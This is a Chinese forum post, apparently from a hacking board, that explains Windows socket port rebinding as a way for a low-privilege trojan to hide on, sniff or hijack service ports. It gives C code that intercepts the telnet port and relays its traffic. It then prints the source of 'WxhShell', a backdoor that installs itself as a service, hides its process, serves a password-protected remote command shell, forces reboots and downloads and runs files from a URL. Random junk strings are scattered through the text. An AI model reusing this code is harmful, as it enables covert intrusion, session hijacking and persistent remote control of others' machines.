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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: p({Lp}'  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <(_Tanx9Q  
iUFG!,+d  
  saddr.sin_family = AF_INET; ;Ea8>  
N{}8Zh4op  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %O!TS_~9  
/;T tMQt  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y78DYbU.  
HRJ\H- V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B873UN  
b@Dt]6_ UL  
  这意味着什么?意味着可以进行如下的攻击: \D};0#G0&  
JIjo^zOXsc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :0ltq><?  
ujl ?!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Wsp c ;]&  
Y DW^N] G  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 TyA1Qk\  
`Kn+d~S4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  GIT"J}b}  
db=S*LUbl  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;y{(#X#  
c<lEFk!g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jse!EtB:  
4<vi@,s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2#00<t\  
_>aP5g?Ep  
  #include KX3A|  
  #include ?Ok&,\F@E  
  #include s"J)Jc  
  #include    $pKegK;'z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <`G-_VI  
  int main() )m[<lJ bw  
  { \{!,a  
  WORD wVersionRequested; FA;-D5=  
  DWORD ret; xt IF)M  
  WSADATA wsaData; 49<t2^1q  
  BOOL val; WRA(k  
  SOCKADDR_IN saddr; sekei6#fi  
  SOCKADDR_IN scaddr; ho B[L}<c  
  int err; pq\N 2d  
  SOCKET s; #D%6b  
  SOCKET sc; hF5T9^8  
  int caddsize; ^nNpT!o  
  HANDLE mt; ~'0ZW<X.  
  DWORD tid;   ~t/i0pKq.  
  wVersionRequested = MAKEWORD( 2, 2 ); ^ERdf2  
  err = WSAStartup( wVersionRequested, &wsaData ); v`jHd*&6)  
  if ( err != 0 ) { lN8l71N^  
  printf("error!WSAStartup failed!\n"); lUA-ug! ^  
  return -1; '?Q"[e  
  } ,FH1yJ;Y&  
  saddr.sin_family = AF_INET; h^qZi@L  
   6O.kKhk  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2"6qg>]-t  
&zJ\D`\,O  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L;y BZLM  
  saddr.sin_port = htons(23); Q<g>WNb  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r>i95u82'  
  { ?8?vBkz~  
  printf("error!socket failed!\n"); | 5:2?S2R  
  return -1; oyY z3X  
  } tLN^k;w  
  val = TRUE; GUqG1u z9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 MEJX5qG6m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q# Q%p+  
  { fA?v\'Qq/  
  printf("error!setsockopt failed!\n"); ,EVPnH[F~  
  return -1; ]W4{|%@H"  
  } /'E[03I~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S w%6-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 V9qA'k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]];pWlo!  
OI"g-+~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D)DD6  
  { &Xh>w(u  
  ret=GetLastError(); ^Go,HiB  
  printf("error!bind failed!\n"); x3#:C=  
  return -1; ]h' 38W  
  } /]j{P4  
  listen(s,2); @>.aQE  
  while(1) Uf ]$I`T#  
  { C4`&_yoP4-  
  caddsize = sizeof(scaddr); 5@ td0  
  //接受连接请求 M*D_p n&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ZWGX*F#}P  
  if(sc!=INVALID_SOCKET) y6-P6T  
  { n'{jc 6&|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~6Fh,S1?  
  if(mt==NULL) $ta JVVF  
  { 4F0w+w JD  
  printf("Thread Creat Failed!\n"); UF6U5],`u  
  break; X[H.t$w5A  
  } =T26vu   
  } }vx,i99W?  
  CloseHandle(mt); 9a`~ K L  
  } skan1wQ  
  closesocket(s); :AFU5mR4&  
  WSACleanup(); ub9[!}r't  
  return 0; }~PG]A  
  }   &{glwVKV  
  DWORD WINAPI ClientThread(LPVOID lpParam) DbB<8$  
  { Bw!J!cCj  
  SOCKET ss = (SOCKET)lpParam; [A {o"zY  
  SOCKET sc; ~vA8I#.  
  unsigned char buf[4096]; @M-Q|  
  SOCKADDR_IN saddr; )B&`<1Oie  
  long num; xg^%8Ls^  
  DWORD val; qUmSB"#Z  
  DWORD ret; a?GXVQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 mbX'*up  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   A-3^~aEgx  
  saddr.sin_family = AF_INET; L>E;cDB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^'tT_ gT  
  saddr.sin_port = htons(23); qrj f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O/ItN5B ;  
  { &s}sA+w  
  printf("error!socket failed!\n"); $8&Y(`  
  return -1; ;/wH/!b  
  } -bdWG]w"  
  val = 100; g@s`PBF7`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L>g6 9D !  
  { o@dT iQK_  
  ret = GetLastError(); P2`F" Qsq  
  return -1; #6YpV)  
  } )F&.0 '  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :*[mvF  
  { kb"Fw:0  
  ret = GetLastError(); W-|C K&1  
  return -1; J@<f*  
  } L;vglS=l;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4Y3@^8h&=  
  { 5izpQ'>  
  printf("error!socket connect failed!\n"); h`O$L_Z  
  closesocket(sc); n{~&^Nby*I  
  closesocket(ss); ZlE=P4`X:  
  return -1; Tmu2G/yi  
  } 4G;KT~Cgb  
  while(1) }aa]1X(u  
  { NJd4( P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q7F4OS5b  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 L>WxAeyu1K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 XVfUr\=,T  
  num = recv(ss,buf,4096,0); -6s]7#IC  
  if(num>0) Kx,X{$Pe  
  send(sc,buf,num,0); ` -SC,qHw  
  else if(num==0) ^qBm%R(  
  break; O0BDUpH  
  num = recv(sc,buf,4096,0); Z[Iej:o5  
  if(num>0) IN#/~[W  
  send(ss,buf,num,0); jpR]V86G  
  else if(num==0) `}uM91;  
  break; mRyf+O[  
  } 3xP<J)S0  
  closesocket(ss); Zs3xoIW7Ai  
  closesocket(sc); n!X%i+|4x  
  return 0 ; O tQ]\:p7  
  } jw\4`NZ]  
uX{g4#eG  
[9~EH8  
========================================================== x N>\t& c  
' Gx\  
下边附上一个代码,,WXhSHELL mAIl)mq|g  
L.K|]]u  
========================================================== `O.pT{Lf  
N~`r;E  
#include "stdafx.h" ~=HPqe8  
U Lq`!1{   
#include <stdio.h> gwg~4:W  
#include <string.h> :*|So5fs  
#include <windows.h> wkPomTO  
#include <winsock2.h> <.BY=z=H  
#include <winsvc.h> t)k;5B`> &  
#include <urlmon.h> tId,Q>zH  
Tb:'M:dM"  
#pragma comment (lib, "Ws2_32.lib") Y}yh6r;i  
#pragma comment (lib, "urlmon.lib") ix?Z:pIS0  
#%OS=.V  
#define MAX_USER   100 // 最大客户端连接数 Jzy:^PObT  
#define BUF_SOCK   200 // sock buffer +mKII>{  
#define KEY_BUFF   255 // 输入 buffer h.- o$+Sa  
l#+@!2z  
#define REBOOT     0   // 重启 6*>vie  
#define SHUTDOWN   1   // 关机 XJS^{=/  
YxU->Wi]G  
#define DEF_PORT   5000 // 监听端口 PIQd=%?'  
yC|odX#  
#define REG_LEN     16   // 注册表键长度 d=\\ik8  
#define SVC_LEN     80   // NT服务名长度 f!GFRMM1  
-I#<?=0B  
// 从dll定义API ^tjM1uaZ5(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R \y qM;2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z!k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pg<c vok  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =3 ;! 5P  
XwU1CejP0  
// wxhshell配置信息 nAj +HLO  
struct WSCFG { +tYskx/  
  int ws_port;         // 监听端口 a][Tb0Ox  
  char ws_passstr[REG_LEN]; // 口令 p8&rl|z|  
  int ws_autoins;       // 安装标记, 1=yes 0=no ukD:4s v  
  char ws_regname[REG_LEN]; // 注册表键名 Ipow Jw^  
  char ws_svcname[REG_LEN]; // 服务名 *;T HD>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b|@f!lA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {qSYe!`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L N'})CI8m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  /zir$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i^}DIx{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W[73q>'  
*zX^Sg-[  
}; P&Hhq>@Z  
yfA h=  
// default Wxhshell configuration <Lq.J`|+  
struct WSCFG wscfg={DEF_PORT, >T29kgF2  
    "xuhuanlingzhe", DpL|aRdbK  
    1, p;2NO&  
    "Wxhshell", Reg%ah|$/=  
    "Wxhshell", XO/JnJ^B  
            "WxhShell Service", Qu|<1CrZj]  
    "Wrsky Windows CmdShell Service", `u;4Z2Lr0  
    "Please Input Your Password: ", TaTw,K|/  
  1, uup>WW  
  "http://www.wrsky.com/wxhshell.exe", Ar[$%  
  "Wxhshell.exe" { %af  
    }; sYyya:ykxT  
{,o =K4CD  
// 消息定义模块 _^] :tL6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *Cx3bg*Gan  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~5_>$7L>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /2]=.bLwz  
char *msg_ws_ext="\n\rExit."; 53?B.\  
char *msg_ws_end="\n\rQuit."; _R|8_#yM  
char *msg_ws_boot="\n\rReboot..."; 2?9gf,U  
char *msg_ws_poff="\n\rShutdown..."; |z.Z='`  
char *msg_ws_down="\n\rSave to "; !K_ ke h  
rp,PhS  
char *msg_ws_err="\n\rErr!"; os`#:Ao5  
char *msg_ws_ok="\n\rOK!"; ':?MFkYC  
&^b mZj!  
char ExeFile[MAX_PATH]; EN@Pr `R  
int nUser = 0; |),3`*N  
HANDLE handles[MAX_USER]; WH0$v#8`v  
int OsIsNt; ZHOh(  
Z3nmC-NE  
SERVICE_STATUS       serviceStatus; Lupug"p0   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c8cPGm#i  
`78:TU~5S  
// 函数声明 !.nyIA(  
int Install(void); K4\#b}P!  
int Uninstall(void); L)`SNN\ipR  
int DownloadFile(char *sURL, SOCKET wsh); .+ w#n<  
int Boot(int flag); zJ2dPp~u  
void HideProc(void); <$]=Vaq  
int GetOsVer(void); ,xeJf6es  
int Wxhshell(SOCKET wsl); 7"c^$fj  
void TalkWithClient(void *cs); *$eMM*4  
int CmdShell(SOCKET sock); n%J {Tcn6  
int StartFromService(void); gLyE,1Z}u  
int StartWxhshell(LPSTR lpCmdLine); a$r<%a6  
 ta\CZp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TZ2-%k#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Bi'qy]%  
!\ckUMZ\  
// 数据结构和表定义 '%2q'LqSA  
SERVICE_TABLE_ENTRY DispatchTable[] = Y%B:IeF}  
{ pW>?%ft.  
{wscfg.ws_svcname, NTServiceMain}, TC%ENxDR  
{NULL, NULL} mjwh40x.o  
}; drr n&y  
2!u4nxZ.  
// 自我安装 QX]~|?q  
int Install(void) Gidh7x  
{ CSC sJE#4  
  char svExeFile[MAX_PATH]; 7vRFF@eq}  
  HKEY key; bCv^za]P6  
  strcpy(svExeFile,ExeFile); E9]/sFA-]  
bh9!OqK9K  
// 如果是win9x系统,修改注册表设为自启动 w[bhm$SX]B  
if(!OsIsNt) { 80p?qe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lO Rym:P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1qR[& =/  
  RegCloseKey(key); ugZ-*e7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C;u8qVI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A[/_}bI|  
  RegCloseKey(key); VUo7Evc:.P  
  return 0; $6(,/}==0  
    } 9WJS.\G^  
  } 5eZ8$-&([  
} *bl*R';  
else { I$#B#w?!$r  
xHA6  
// 如果是NT以上系统,安装为系统服务 ] Q 'Ed  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8IAf 9  
if (schSCManager!=0) muAI$IRR   
{ BD)5br].  
  SC_HANDLE schService = CreateService bJ[{[|yEd  
  ( P4M*vZq)  
  schSCManager, d!V;\w  
  wscfg.ws_svcname, c k$ > yk  
  wscfg.ws_svcdisp, 'u \my  
  SERVICE_ALL_ACCESS, O#}'QZd'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,?OV39h  
  SERVICE_AUTO_START, )zFPf]gz  
  SERVICE_ERROR_NORMAL, 7X Z5CX&  
  svExeFile, O4Wn+$AN  
  NULL, ewo1^&#>  
  NULL, d)G' y  
  NULL, L(p{>Ykcc  
  NULL, ;1S~'B&1Q  
  NULL cJ6n@\  
  ); {,Y?+F  
  if (schService!=0) )1PZ#  
  { =@98Gl9!  
  CloseServiceHandle(schService); j{.P'5e@pZ  
  CloseServiceHandle(schSCManager); WUVRwJ 5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YLr<^G-v  
  strcat(svExeFile,wscfg.ws_svcname); !`u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ])d_B\)Kck  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :# 1d;jx  
  RegCloseKey(key); (J c} K  
  return 0; =}:9y6QR.  
    } uR|?5DK  
  } "pb$[*_@$  
  CloseServiceHandle(schSCManager); ]et4B+=i  
} yfBVy8Sm  
} C'HW`rh.^  
7pB5o2CD0  
return 1; ;#3l&HRKH1  
} 9<0p1WO  
8PWx>}XPt  
// 自我卸载 M;BDo(1  
int Uninstall(void) '=|2, H]  
{ R)>/P{ A-P  
  HKEY key; 9y BENvq  
`0l)\  
if(!OsIsNt) { l 8I`%bu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YCJ6an  
  RegDeleteValue(key,wscfg.ws_regname); XIM!]  
  RegCloseKey(key); ^CIO,I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v/n4Lp$W^  
  RegDeleteValue(key,wscfg.ws_regname); %SKp<>;9  
  RegCloseKey(key); kz|2PP  
  return 0; m/,.3v  
  } _:hrm%^  
} J%G EIe|  
} 08J[9a0[  
else { Xb0$BAP  
up[9L|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c/l%:!A  
if (schSCManager!=0) `1|#Za~e  
{ {Y>5 [gp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9FB[`}  
  if (schService!=0) `6`p~  
  { hf6=`M}>i  
  if(DeleteService(schService)!=0) { (@t O1g  
  CloseServiceHandle(schService); wul$lJ?tE  
  CloseServiceHandle(schSCManager); F`/-Q>Q  
  return 0; j]-0m4QF  
  } (G:A^z  
  CloseServiceHandle(schService); EV1x"}D A_  
  } W'aZw9  
  CloseServiceHandle(schSCManager); pkW }\r  
} ~%SmH [i  
} .YV{wL@cB  
F.zx]][JV  
return 1; (mO{ W   
} []i/\0C^  
_?j66-( Q  
// 从指定url下载文件 #w%d  
int DownloadFile(char *sURL, SOCKET wsh) bsfYz  
{ kF%EJuu  
  HRESULT hr; y^PQgzm]  
char seps[]= "/"; ,2t|(V*"&  
char *token; H1?t2\V4  
char *file; ]!7 %)  
char myURL[MAX_PATH]; C`G+b{o  
char myFILE[MAX_PATH]; eUBf-xA  
AcZ{B<  
strcpy(myURL,sURL); bQU{)W  
  token=strtok(myURL,seps); '}4z=f`}  
  while(token!=NULL) \a<7DTV  
  { <x QvS^|[  
    file=token; v|!u]!JM  
  token=strtok(NULL,seps); {6*$yLWK  
  } :G.u{cw  
Vd+qi~kA  
GetCurrentDirectory(MAX_PATH,myFILE); ^T?zR7r  
strcat(myFILE, "\\"); /"(`oe<  
strcat(myFILE, file); XmZs4~\K$G  
  send(wsh,myFILE,strlen(myFILE),0); u+5&^"72,  
send(wsh,"...",3,0); _GhP{ C$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B$=oU   
  if(hr==S_OK) WGmXq.  
return 0; 8v<802  
else DpRGPs  
return 1; G '1K6  
$_cO7d  
} c-`'`L^J  
!_?K(X~/  
// 系统电源模块 Io;x~i09K  
int Boot(int flag) D'8xP %P  
{ e2"<3  
  HANDLE hToken; .4[\%r\i  
  TOKEN_PRIVILEGES tkp; 9ZD>_a  
MdC}!&W  
  if(OsIsNt) { 3>T2k }  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *'-[J2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1zcaI^e#  
    tkp.PrivilegeCount = 1; kEYkd@ {  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h@2YQgw`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <eh<4_<qF  
if(flag==REBOOT) { ,I2x&Ys&.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Fa0NHX2:  
  return 0; i,mZg+;w  
} 0lU pil  
else { &hJQHlyJM0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -Np}<O`./  
  return 0; mM'uRhO+  
} i.gagb  
  } 47)\\n_\z  
  else { _QneaPm%  
if(flag==REBOOT) { !$p E=~1C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >]x%+@{|  
  return 0; ;P^}2i[q>[  
} Oo/@A_JO@  
else { "(iQ-g Mm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /}k?Tg/  
  return 0; w3M F62:  
} kR <\iT0j  
} Qp-P[Tc  
,U>G$G^  
return 1; 7 iQa)8,  
} -HRa6  
f%yNq6l  
// win9x进程隐藏模块 2tS,q_-=  
void HideProc(void) MC1&X'  
{ j2oU1' b  
G@U}4' V9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :ay`Id_tm  
  if ( hKernel != NULL ) -kb;h F}.  
  { c1<jY~U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vofBS   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NW` Mc&  
    FreeLibrary(hKernel); tcD5"ALJ  
  } Kc`#~-`,(  
'JJ :  
return; cRSgP{hy  
} `82^!7!  
8COGe=+o  
// 获取操作系统版本 @eP(j@(^  
int GetOsVer(void) {*X|)nr  
{ 2 ;Q|h$ n  
  OSVERSIONINFO winfo; nMOXy\&mI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X(Lz&fkd  
  GetVersionEx(&winfo); Bpv"qU7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]:Pkh./  
  return 1; [pSQ8zdF"  
  else L"}2Y3  
  return 0; .]/k#Hv  
} c#a>> V  
_ 3{8Zg  
// 客户端句柄模块 P UC:Pl77  
int Wxhshell(SOCKET wsl) LG=_>:~t>  
{ ?$=Ml$  
  SOCKET wsh; wpOM~!9R  
  struct sockaddr_in client; 9w-;d=(Q  
  DWORD myID; NYPjN9L  
j:0< tj E  
  while(nUser<MAX_USER) P?zL`czWd  
{ XXb,*u 3  
  int nSize=sizeof(client); MaP-   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nz Klue  
  if(wsh==INVALID_SOCKET) return 1; q^b12@.  
UC!"1)~mt`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BUXlHh%<R  
if(handles[nUser]==0) ! ;R}=  
  closesocket(wsh); XW*d\vDun  
else q ;e/gP2  
  nUser++; FwDEYG  
  } U)SQ3*j2D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]gVW&3ZW  
Cil1wFBb  
  return 0; ]F4|@+\9  
} ^;;gPhhWV  
kj`h{Wc[)  
// 关闭 socket Kj+TP qXb  
void CloseIt(SOCKET wsh) MwWN;_#EO)  
{ / 16 r_l  
closesocket(wsh); 3MoVIf1  
nUser--; t#7owY$^  
ExitThread(0); A~8-{F 31  
}  bRx}ih  
KvlLcE~`o  
// 客户端请求句柄 jo"zd b  
void TalkWithClient(void *cs) $wqi^q*)  
{ ZV`o: Gd  
Sp@{5  
  SOCKET wsh=(SOCKET)cs; u@kr;^m  
  char pwd[SVC_LEN]; xUDXg*  
  char cmd[KEY_BUFF]; DC=XPn/V  
char chr[1]; 8o,"G}Hjk  
int i,j; ksQw|>K  
rv %^2h<&  
  while (nUser < MAX_USER) { {y|j**NZ  
S{JBV@@tC  
if(wscfg.ws_passstr) { Bmi9U   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zG~nRt{4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |$c~Jq  
  //ZeroMemory(pwd,KEY_BUFF); j6BFh=?D  
      i=0; d'b q#r  
  while(i<SVC_LEN) { Z|zT%8.8N  
,kE"M1W  
  // 设置超时 B@,#,-=  
  fd_set FdRead; +'9eo%3O  
  struct timeval TimeOut; 'h;x>r  
  FD_ZERO(&FdRead); r'& 6P-Vm  
  FD_SET(wsh,&FdRead); \>  
  TimeOut.tv_sec=8; 41\V;yib  
  TimeOut.tv_usec=0; W.  p'T}2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %s[ n2w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G!w?\-  
Eo_; N c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /w:~!3Aj0+  
  pwd=chr[0]; cy#N(S[ 1  
  if(chr[0]==0xd || chr[0]==0xa) { <84d Vg  
  pwd=0; 9d&}CZr  
  break; S$i3/t  
  } ^I6GH?19>e  
  i++; IsP!ZcV;  
    } [^A>hs*  
kB ;!EuL  
  // 如果是非法用户,关闭 socket ftbOvG/ I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Be2yS]U  
} 2f.4P]s`T  
- x]gp5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w}``2djR'W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O_y?53X  
kIYV%O   
while(1) { i{6wns?KMj  
2V=bE-  
  ZeroMemory(cmd,KEY_BUFF); Ems0"e  
SDICN0X*  
      // 自动支持客户端 telnet标准   {Aq:Kh`&  
  j=0; ^_pJEX  
  while(j<KEY_BUFF) { '.d]n(/lZd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nwPU{4#l<  
  cmd[j]=chr[0]; 2Jc9}|,  
  if(chr[0]==0xa || chr[0]==0xd) { nV&v@g4Tt  
  cmd[j]=0; IRl(H_.  
  break; <Z8^.t)|  
  } +K03yphZr  
  j++; !0 -[}vvU  
    } K44j-Ypb  
V-TWC@Y"  
  // 下载文件 "4e{Cq  
  if(strstr(cmd,"http://")) { WHvU|rJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9V( esveq  
  if(DownloadFile(cmd,wsh)) qI#ow_lL#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :T #"bY  
  else k?'<f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DX%D8atrr  
  } >@c~M  
  else { *]RCfHo\=  
K5SP8<.  
    switch(cmd[0]) { <{UjO  
  A%c)=(,  
  // 帮助 J{bNx8.&  
  case '?': { 6`l7saHXE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lc2RMu  
    break; Du."O]syD  
  } A/#Xr  
  // 安装 +1 j+%&).  
  case 'i': { &b7i> ()  
    if(Install()) v9R"dc]0h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O F CA~sR  
    else K:g:GEDgf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -L%2*`-L$  
    break; {#'M3z=  
    } ,Y3wXmG  
  // 卸载 ?Ok@1  
  case 'r': { @*rED6zH  
    if(Uninstall()) I{0bs Tp;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \<R.F  
    else g2'Q)w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O#5ll2?  
    break; p>@S61 & [  
    } OnKPD=<  
  // 显示 wxhshell 所在路径 11Hf)]M   
  case 'p': { 'o*:~n  
    char svExeFile[MAX_PATH]; IAJYD/Y&?  
    strcpy(svExeFile,"\n\r"); ;y{VdT  
      strcat(svExeFile,ExeFile); :<$IGzw}.  
        send(wsh,svExeFile,strlen(svExeFile),0); 6(X5n5C  
    break; FTg4i\Wp  
    } r 7mg>3  
  // 重启 8{GRrwQ>  
  case 'b': { ^QKL}xiV:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OLdD3OI  
    if(Boot(REBOOT)) 3koXM_4_{)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F|DKp[<]8  
    else { *I(g~p  
    closesocket(wsh); XI*_ti  
    ExitThread(0); 7Z;w<b~  
    } /@H2m\vBX  
    break; OZ$"P<X_"  
    } z]YP  
  // 关机 B !(t<W8cu  
  case 'd': { r12{XW?~  
